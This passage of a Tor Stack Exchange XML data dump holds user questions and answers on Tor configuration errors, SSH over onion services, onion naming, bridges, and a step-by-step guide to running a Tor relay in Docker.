01 00:17:19.392 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TOR is not running, and I have no idea how to solve this. Works perfectly if opened outside the terminal, though. I just want to understand why this is happening.&lt;/p&gt;&#xA;" OwnerUserId="26996" LastEditorUserId="14997" LastEditDate="2019-08-07T14:31:27.917" LastActivityDate="2021-12-24T21:05:10.560" Title="Unable to run TOR from terminal (Ubuntu)" Tags="|configuration|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19933" PostTypeId="2" ParentId="19926" CreationDate="2019-06-01T10:48:26.080" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;no, Tor does not use &lt;em&gt;human readable names&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;a &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS&lt;/a&gt; (the system used to resolve names to IP addresses at the clearweb, else you would also have to remember numbers like &lt;a href=&quot;http://50.18.200.106&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://50.18.200.106&lt;/a&gt;) is a more or less centralized system and therefore censorship-prone.&lt;br&gt;&#xA;this is already used today to &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_censorship&quot; rel=&quot;nofollow noreferrer&quot;&gt;censor the clearweb&lt;/a&gt; for the majority of the users. - and i'm not only talking about dictatorships and suchlike... this also happens in democratic countries like the United States, United Kingdom, Australia, New Zealand, South Korea, Swiss, Turkey, Tunisia and so on!&lt;/li&gt;&#xA;&lt;li&gt;beside this, there are other questions like &quot;who decides who may use a specific name and who must not?&quot; (to prevent hijacking etc.) - this would also require a centralized administration.&lt;br&gt;&#xA;although there are interesting approaches like &lt;a href=&quot;https://en.wikipedia.org/wiki/Namecoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Namecoin&lt;/a&gt; to solve some of the issues.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;so using existing systems/techniques to provide a kind of a name-system will require much work and will sooner or later be completely useless because of censorship efforts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;additionally &lt;a href=&quot;https://tor.stackexchange.com/a/19302/5234&quot;&gt;this answer starting with number 5.&lt;/a&gt; may be interesting for you, to answer &lt;em&gt;&quot;how is a visitor supposed to know what 54 characters to use?&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-06-01T11:00:54.637" LastActivityDate="2019-06-01T11:00:54.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19934" PostTypeId="2" ParentId="19915" CreationDate="2019-06-01T14:15:31.357" Score="0" Body="&lt;p&gt;&lt;strong&gt;NO!&lt;/strong&gt;&lt;br&gt;&#xA;and this has nothing to do with a &lt;em&gt;privacy policy&lt;/em&gt; or loading resp. not loading websites!&lt;br&gt;&#xA;nowadays nearly every website, app, etc. does have somewhere a statement, that they &quot;care about privacy&quot;, but then most of them act against it either by accident or very deliberately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and regarding Tor it is not (primarily) about preventing someone to collect your data, but about not revealing your IP address &lt;strong&gt;AND&lt;/strong&gt; also not being anyhow else traceable by standing out with your profile/settings/addons/etc.&lt;br&gt;&#xA;...thereby making eventually collected data more or less useless because they cannot be linked to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the question about this with further information &amp;amp; links: &lt;a href=&quot;https://tor.stackexchange.com/questions/8832/can-i-install-firefox-addons-on-tor-browser&quot;&gt;Can I install Firefox addons on Tor Browser?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;in case of this particular addon i would be careful because of...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the permissions it needs: &lt;a href=&quot;https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions#w_access-your-data-for-all-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&quot;Access your data for all websites&quot;&lt;/em&gt;&lt;/a&gt; sounds not very &quot;basic&quot; to me!&lt;/li&gt;&#xA;&lt;li&gt;beside that it seems to be an abandoned addon, because it didn't receive any update since nearly 2 years (although mid 2017 it got updates every month) and the complete domain - not just the privacy policy - seems to be down.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;i strongly recommend to not install this addon (certainly not in the TorBrowser - i wouldn't even install it in my &quot;normal&quot; browser) and use the normal bookmark-function to add some notes to an URL.&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-06-02T18:55:06.797" LastActivityDate="2019-06-02T18:55:06.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19936" PostTypeId="1" CreationDate="2019-06-03T19:10:50.523" Score="2" ViewCount="2722" Body="&lt;p&gt;On host1 (server) : &lt;code&gt;sshd&lt;/code&gt; with config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Port 56320&#xA;AllowUsers user11123&#xA;&#xA;AddressFamily any&#xA;ListenAddress 127.0.0.1&#xA;&#xA;TCPKeepAlive yes&#xA;Compression delayed&#xA;&#xA;Subsystem   sftp    /usr/lib/ssh/sftp-server&#xA;&#xA;KexAlgorithms diffie-hellman-group18-sha512&#xA;Ciphers chacha20-poly1305@openssh.com&#xA;MACs hmac-sha2-512-etm@openssh.com&#xA;PubkeyAcceptedKeyTypes ssh-rsa&#xA;HostKeyAlgorithms ssh-rsa&#xA;HostbasedAuthentication yes&#xA;HostbasedAcceptedKeyTypes ssh-rsa&#xA;PasswordAuthentication no&#xA;PubkeyAuthentication yes&#xA;&#xA;AuthorizedKeysFile /home/user11123/.ssh/authorized_keys&#xA;&#xA;PermitRootLogin no&#xA;PrintMotd no&#xA;PrintLastLog yes&#xA;&#xA;ClientAliveInterval 30&#xA;ClientAliveCountMax 5&#xA;&#xA;SyslogFacility AUTH&#xA;LogLevel INFO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;tor&lt;/code&gt; with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/ssh/&#xA;HiddenServicePort 56320 127.0.0.1:56320&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;iptables disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on host2 : &lt;code&gt;tor&lt;/code&gt; and &lt;code&gt;ssh nb&lt;/code&gt; with config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;host nb&#xA;    User user11123&#xA;    Hostname __copy_addr_from_host1__.onion&#xA;    Port 56320&#xA;    VerifyHostKeyDNS no&#xA;    ProxyCommand ncat -vvv --proxy 127.0.0.1:9050 --proxy-type socks5 %h %p&#xA;&#xA;KexAlgorithms diffie-hellman-group18-sha512&#xA;Ciphers chacha20-poly1305@openssh.com&#xA;MACs hmac-sha2-512-etm@openssh.com&#xA;PubkeyAcceptedKeyTypes ssh-rsa&#xA;HostKeyAlgorithms ssh-rsa&#xA;HostbasedAuthentication yes&#xA;HostbasedAcceptedKeyTypes ssh-rsa&#xA;PasswordAuthentication no&#xA;CheckHostIP no&#xA;&#xA;KeepAlive yes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and result is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Ncat: Version 7.70 ( https://nmap.org/ncat )&#xA;NCAT DEBUG: Using system default trusted CA certificates and those in /usr/share/ncat/ca-bundle.crt.&#xA;Ncat: Connected to proxy 127.0.0.1:9050&#xA;Ncat: No authentication needed.&#xA;Ncat: Error: Host unreachable.&#xA;kex_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor.log&lt;/code&gt; on host2 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Close 1 streams for service [scrubbed].onion for reason resolve failed. Fetch status: No more HSDir available to query.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please tell me how to set it up&lt;/p&gt;&#xA;" OwnerUserId="27068" LastEditorUserId="27068" LastEditDate="2019-06-03T20:53:48.857" LastActivityDate="2022-12-28T12:02:55.293" Title="How to connect to SSH-server over TOR-network?" Tags="|ssh|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19937" PostTypeId="1" CreationDate="2019-06-04T03:33:21.953" Score="0" ViewCount="109" Body="&lt;p&gt;I keep getting these error messages.  Generic Sock Error, Access Denied, and most recently, Access Denied-this website is using a security service to protect from online attacks whenever I try to access a particular website on the Tor Network.  Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="27070" LastEditorUserId="5234" LastEditDate="2019-06-05T20:11:29.463" LastActivityDate="2022-02-15T12:04:35.417" Title="Error Messages Problem" Tags="|help|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19939" PostTypeId="2" ParentId="19936" CreationDate="2019-06-04T09:55:50.380" Score="0" Body="&lt;p&gt;I have done it through proxy connect in Ubuntu. You may check my blog post, section Remote Control Alternatives for the steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://mstajbakhsh.ir/control-home-iot/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mstajbakhsh.ir/control-home-iot/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZPFaP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZPFaP.png&quot; alt=&quot;connect to ssh through hidden service&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-06-04T09:55:50.380" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19940" PostTypeId="1" CreationDate="2019-06-04T14:19:18.620" Score="2" ViewCount="543" Body="&lt;p&gt;I saw on Tor's FAQ that a Tor Relay can work well with a dynamic IP, I was wondering if it's the same for a service or if it would be sometimes unreachable ?&lt;/p&gt;&#xA;" OwnerUserId="27073" LastActivityDate="2019-06-05T03:10:12.610" Title="Onion service and dynamic IP" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19942" PostTypeId="2" ParentId="19932" CreationDate="2019-06-04T19:54:04.143" Score="0" Body="&lt;p&gt;It seems that TOR is already running. Try to check tor status by running following command in terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo service tor status&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it returns &quot;tor is running&quot;, then tor is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- try to start tor as super user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- try to provide another config file  &lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2019-06-04T19:54:04.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19943" PostTypeId="2" ParentId="19746" CreationDate="2019-06-05T02:57:09.663" Score="0" Body="&lt;p&gt;You can run &lt;code&gt;iexplore.exe&lt;/code&gt; which is included in every wineprefix and use some website like &lt;code&gt;ifconfig.co&lt;/code&gt; that shows your IP. It doesn't guarantee that the game isn't making connections outside the proxy some other way, but at least it shows you that wine is under effect of the routing configuration.&lt;/p&gt;&#xA;" OwnerUserId="27079" LastActivityDate="2019-06-05T02:57:09.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19944" PostTypeId="2" ParentId="19940" CreationDate="2019-06-05T03:10:12.610" Score="2" Body="&lt;p&gt;TLDR;&#xA;It is the same for a service, as long as your server is connected to the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it short, when you set up your hidden service, it will pick 3 (by default) introduction relays, and add their addresses to your service description. Whenever your server is connected to the tor network, it will establish a connection to its introduction relays. &#xA;Then, when a client wants to reach your service, he will forward you an invitation using your introduction points. Therefore, it does not depend on your IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only scenario where your service might be unreachable, is if all your introduction relays are down too. But you can have up to 10 (v2) or 20 (v3) introduction points, depending on your hidden service version.&lt;/p&gt;&#xA;" OwnerUserId="27071" LastActivityDate="2019-06-05T03:10:12.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19945" PostTypeId="1" CreationDate="2019-06-05T14:29:37.150" Score="3" ViewCount="247" Body="&lt;p&gt;I've been searching for such news for years, and the most recent discussion about adding meek bridges in Tails is in 2018, still no answer. the most important issue in China is we can barely use meek with tor since obs3 or 4 total dead. When can Tails be equipped with tor that could beat the GFW is highly anticipated, I guarantee you every single Chinese who would like to use Tails, such powerful tools to search for freedom and eager to connect to the world, will agree with me.&lt;/p&gt;&#xA;" OwnerUserId="27081" LastActivityDate="2021-03-28T14:07:00.727" Title="Meek bridges in future tails version，super anticiped" Tags="|tails|meek|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19946" PostTypeId="1" CreationDate="2019-06-05T22:34:22.480" Score="1" ViewCount="432" Body="&lt;p&gt;I'm new to privacy and anonymity. I'm reading a paper about efficient path prediction for Tor circuit and then I came across the term name &lt;em&gt;vanilla tor&lt;/em&gt;. Can anyone give me a precise/clear definition of this? please. Thank you in advance. I found this,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This test examines the reachability of the Tor network&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, is this just a reachability test? or there's more to it?&lt;/p&gt;&#xA;" OwnerUserId="27084" LastEditorUserId="88" LastEditDate="2019-06-06T20:20:10.110" LastActivityDate="2019-06-06T20:23:18.963" Title="What is vanilla tor?" Tags="|anonymity|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19947" PostTypeId="2" ParentId="19784" CreationDate="2019-06-06T03:10:07.480" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;As i understand it, when using a bridge the packets should go through an additional station which is the bridge, which makes the bridge the &quot;entry node&quot;, which means that my ISPs can see that i try to talk to an ip address which is a bridge and block me the same way they do with the normal tor relays.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They &lt;strong&gt;can&lt;/strong&gt;. But it is much harder to block bridges than public relays since you need to do a whole lot of DPI things to know whether a bridge relay is hosted on the IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid such blocking, use &lt;strong&gt;Pluggable Transports&lt;/strong&gt;. Their purpose is to hide the presence of a bridge, and some have active probing resistance against such attacks.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-06-06T03:10:07.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19948" PostTypeId="2" ParentId="19946" CreationDate="2019-06-06T20:23:18.963" Score="1" Body="&lt;p&gt;Tor can have different meanings. Some understand Tor as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the company&lt;/li&gt;&#xA;&lt;li&gt;the community&lt;/li&gt;&#xA;&lt;li&gt;the network&lt;/li&gt;&#xA;&lt;li&gt;the protocol&lt;/li&gt;&#xA;&lt;li&gt;the software (which can be Tor Browser or only Tor)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To clarify someone invented vanilla Tor for Tor the software. The thing you can download and build from &lt;a href=&quot;https://gitweb.torproject.org/tor.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor.git/&lt;/a&gt;. It is also sometimes called &lt;em&gt;little-t-tor&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2019-06-06T20:23:18.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19949" PostTypeId="1" AcceptedAnswerId="19950" CreationDate="2019-06-06T23:20:51.073" Score="6" ViewCount="5491" Body="&lt;p&gt;How do I use Docker to run a Tor middle/guard relay so that I can easily stay up-to-date with the latest software changes?&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2023-10-24T23:39:32.767" Title="How do I set up a Tor relay as a docker container?" Tags="|relays|linux|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19950" PostTypeId="2" ParentId="19949" CreationDate="2019-06-06T23:20:51.073" Score="4" Body="&lt;h1&gt;Foreword&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.docker.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docker&lt;/a&gt; defines a container as a &amp;quot;A standardized unit of software&amp;quot; [&lt;a href=&quot;https://www.docker.com/resources/what-container&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;] and does in a nutshell provide the tooling needed to create self-contained containers - think of little neatly-wrapped presents - of software or as separate components working together to achieve a greater good. An example of such a deployment could be a website backed by Node.js in one container. The website could be interacting with a MySQL database running in a different, separate container. The advantage of using containers instead of installing the software needed on the physical machine directly is, among others, simple deployment and maintenance of the software versions, as you can often throw away the container and build an entirely new one with updated software in a matter of seconds. This can of course be utilised to host Tor relays with ease.&lt;/p&gt;&#xA;&lt;p&gt;Please note that this answer will not cover the port forwarding needed for the outside world to connect to the relay. This answer will furthermore assume, for the sake of simplicity, that we have a unix-like system such as an Ubuntu machine running which is going to host the relay, and that we have full (sudo) rights to install software and configure the machine.&lt;/p&gt;&#xA;&lt;h1&gt;Installing Docker&lt;/h1&gt;&#xA;&lt;p&gt;Go ahead and install Docker as described in the guide here: &lt;a href=&quot;https://docs.docker.com/install/linux/docker-ce/ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.docker.com/install/linux/docker-ce/ubuntu/&lt;/a&gt;. The community edition will do in this example. Once finished and after having confirmed that the installation seems to work, I highly recommend changing the permission of the docker binary to only be executable by the root user. Docker with lax permissions is a security concern that you don't want to deal with. To do so, execute the following, assuming &lt;code&gt;docker&lt;/code&gt; is located at &lt;code&gt;/usr/bin/docker&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chown root:root /usr/bin/docker&#xA;$ sudo chmod 500 /usr/bin/docker&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1&gt;Building the Tor Relay container&lt;/h1&gt;&#xA;&lt;p&gt;In this example we will first create a directory for everything Docker to reside in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ mkdir /docker&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I then personally prefer to include four directories: bin, conf, data and images. Create these as well:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ mkdir /docker/bin       # Useful management scripts&#xA;$ mkdir /docker/conf      # Configuration, e.g. torrc&#xA;$ mkdir /docker/data      # Tor relay data, e.g. the fingerprint for consistency&#xA;$ mkdir /docker/images    # Dockerfiles&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For simplicity, let's start talking about the configuration file, torrc. This file will be mapped into the container when it's started by using Docker volumes [&lt;a href=&quot;https://docs.docker.com/storage/volumes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;] and will be the main configuration of your Tor relay.&#xA;Create a torrc file at, for example, &lt;code&gt;/docker/conf/my-relay/torrc&lt;/code&gt; and populate it with something along the lines of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;DirPort 9030&#xA;ControlPort 9051&#xA;SocksPort 0&#xA;&#xA;Nickname MyAwesomeDockerTorRelay&#xA;ContactInfo yourusername@someprovider.com&#xA;&#xA;BandwidthRate 20 MBits&#xA;BandwidthBurst 40 MBits&#xA;&#xA;CookieAuthentication 1&#xA;ExitRelay 0&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For more information about these settings, please see the Tor relay manual [&lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;3&lt;/a&gt;].&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Edit, Oct. 2023:&lt;/strong&gt; Using port 443 as ORPort has some advantages in terms of accessibility from public WiFi [&lt;a href=&quot;https://community.torproject.org/relay/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;4&lt;/a&gt;]. Ps: remember to port-forward in your router. D'oh!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Next, let's create the container image that will contain Tor and - for our convenience - the awesome project nyx [&lt;a href=&quot;https://nyx.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;5&lt;/a&gt;]. The image will be based on the very latest release of Alpine Linux [&lt;a href=&quot;https://alpinelinux.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;6&lt;/a&gt;], python 2.7 which is required by nyx, as well as the latest available version of Tor on Alpine Linux.&#xA;The configuration looks like the following, and should be created at, for example, &lt;code&gt;/docker/images/my-relay/Dockerfile&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FROM alpine:edge&#xA;&#xA;RUN apk add --no-cache tor&#xA;RUN apk add --update \&#xA;     python3 \&#xA;     python3-dev \&#xA;     py3-pip \&#xA;     build-base \&#xA;  &amp;amp;&amp;amp; pip install nyx&#xA;&#xA;&#xA;EXPOSE 9050 9051&#xA;&#xA;VOLUME [&amp;quot;/var/lib/tor&amp;quot;]&#xA;&#xA;USER tor&#xA;&#xA;CMD [&amp;quot;/usr/bin/tor&amp;quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Basically this tells Docker to, among other things, build a new image based on the &lt;code&gt;edge&lt;/code&gt; version of &lt;code&gt;alpine&lt;/code&gt;, install tor and python along with pip and nyx, and run tor when the container starts.&lt;/p&gt;&#xA;&lt;p&gt;Now comes the building and the running of the containers. I use two scripts for my convenience so I don't need to type out the commands every time: &lt;code&gt;/docker/bin/my-relay/build.sh&lt;/code&gt; and &lt;code&gt;/docker/bin/my-relay/run.sh&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;build.sh&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;docker build -t &amp;quot;myname/my-relay:latest&amp;quot; /docker/images/myname-my-relay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This builds your tor relay as specced above to your local Docker images registry. The &lt;code&gt;-t&lt;/code&gt; flag tags the image with the name specified, indicating that this is the &amp;quot;latest build&amp;quot;. One could use any version number for experimenting or for a more secure upgrade process as discussed later on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;run.sh&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;docker run -d --name my-relay \&#xA;  -p 127.0.0.1:9050:9050 \&#xA;  -p 9001:9001 \&#xA;  -p 9030:9030 \&#xA;  -p 127.0.0.1:9051:9051 \&#xA;  -v /docker/conf/my-relay/torrc:/etc/tor/torrc:ro \&#xA;  -v /etc/localtime:/etc/localtime \&#xA;  -v /docker/data/my-relay:/var/lib/tor \&#xA;  --restart unless-stopped \&#xA;  myname/my-relay:latest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This starts the container and exposes in addition to the ports three folders on the physical machine to the container: conf containing torrc, data containing the relay fingerprint etc., and the localtime for good measure.&#xA;Please note the restart policy &lt;code&gt;--restart unless-stopped&lt;/code&gt;, which will ensure that the relay is always running unless asked politely not to.&lt;/p&gt;&#xA;&lt;p&gt;This should be it. Once the image has been build and the container has started, you can remote into it and check the current status the following way:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo docker ps -a&lt;/code&gt; to find the id of the running docker container, for example &lt;code&gt;49283a2b3ffa&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo docker exec -it 49 sh&lt;/code&gt; to get an &lt;code&gt;sh&lt;/code&gt; shell inside the docker container. Note that we only specified &lt;code&gt;49&lt;/code&gt; and not the full ID. Docker will know what you mean, as long as the provided ID is able to identify exactly one container.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;nyx&lt;/code&gt; to get a &amp;quot;graphical&amp;quot; overview of the container.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Upgrading the Tor relay&lt;/h1&gt;&#xA;&lt;p&gt;As indicated when discussing the build script, using &lt;code&gt;latest&lt;/code&gt; as the version tag is most likely going to work just fine, but may not be the optimal case for all. If you provide an actual version, e.g. &lt;code&gt;1.0&lt;/code&gt; and bump this version for every build, building new images will be more manageable and gives you the ability to revert to the previously working image, should you need to.&#xA;You see, in order to update the image using the same tag, we first have to delete the container and image. This is trivial, however nothing is rock solid in IT, so relying 100% on the image to build perfectly fine &lt;em&gt;another&lt;/em&gt; time is quite a bet. Either way, that is up to you. If you prefer to not use &lt;code&gt;latest&lt;/code&gt;, you do not need to delete the image, but may still want to delete the container (you could just build another one given the working image if need be). For good measure I always delete the Alpine Linux image regardless. Better to be safe than sorry.&lt;/p&gt;&#xA;&lt;h2&gt;Cleaning up before upgrading&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Delete the container&lt;/strong&gt;&#xA;Assuming the container still has ID 49..., run the following:&#xA;&lt;code&gt;sudo docker rm 49&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Delete the image&lt;/strong&gt;&#xA;To delete the images (alpine and the relay itself), you need to get the IDs of the images:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo docker images&#xA;REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xA;myname/my-relay     latest              bba371b29910        6 days ago          251MB&#xA;alpine              edge                ffd13b1a1aa2        3 weeks ago         5.56MB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then run &lt;code&gt;sudo docker image rm bb ff&lt;/code&gt; to delete the two images.&lt;/p&gt;&#xA;&lt;h2&gt;Rebuilding&lt;/h2&gt;&#xA;&lt;p&gt;At this point you can run your shell scripts one more time:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo /docker/bin/my-relay/build.sh&#xA;$ sudo /docker/bin/my-relay/run.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And confirm the status by running &lt;code&gt;sudo docker ps -a&lt;/code&gt;. It should look like something along the lines of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo docker ps -a&#xA;CONTAINER ID        IMAGE                    COMMAND             CREATED             STATUS              PORTS                                                                                NAMES&#xA;bf243a894bfd        myname/my-relay:latest   &amp;quot;/usr/bin/tor&amp;quot;      2 minutes ago          Up 2 minutes           0.0.0.0:9001-&amp;gt;9001/tcp, 0.0.0.0:9030-&amp;gt;9030/tcp, 127.0.0.1:9050-9051-&amp;gt;9050-9051/tcp   my-relay&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that because we exposed the data directory, your stats will continue where they left off because this directory contains the fingerprint.&lt;/p&gt;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;We discussed how to easily configure a Docker container to run a Tor relay and give back to the community, while also having the convenience of easy updating and easy (un)deployment.&#xA;Although this page turned out longer than intended, I think it's important to share not only the scripts but also the thoughts behind the content. Please feel free to leave comments and suggestions for improvements.&lt;/p&gt;&#xA;&lt;p&gt;Thank you for joining me on this journey!&lt;/p&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2023-10-24T23:39:32.767" LastActivityDate="2023-10-24T23:39:32.767" CommentCount="1" CommunityOwnedDate="2020-06-16T20:23:29.830" ContentLicense="CC BY-SA 4.0" />
  <row Id="19953" PostTypeId="2" ParentId="9116" CreationDate="2019-06-07T21:38:49.140" Score="2" Body="&lt;p&gt;This can have several reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Tor Browser comes with HTTPS Everywhere. This addon has rules for several sites to connect via HTTPS. At &lt;a href=&quot;https://atlas.eff.org/index.html?tubes&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.eff.org/index.html?tubes&lt;/a&gt; you can see all sites which contain &lt;em&gt;tubes&lt;/em&gt;. Your site is not among them.&lt;/li&gt;&#xA;&lt;li&gt;There is a chance that the site itself redirects your request to the HTTPS. You can check it with &lt;code&gt;curl&lt;/code&gt;. Just enter &lt;code&gt;curl -I your-site.example.com&lt;/code&gt;. Look at the first line and the line with the &lt;code&gt;Location:&lt;/code&gt; header. When there is a redirect you see &lt;code&gt;HTTP/1.1 301&lt;/code&gt; or some other &lt;code&gt;3XX&lt;/code&gt; number. The &lt;code&gt;Location:&lt;/code&gt; tells you the target of the redirect.&lt;/li&gt;&#xA;&lt;li&gt;It also might be the case that the site has a HSTS header. So when you visited the site before via HTTPS and the HSTS header is set, your browser will always try to visit the site over HTTPS again. You can also check it via 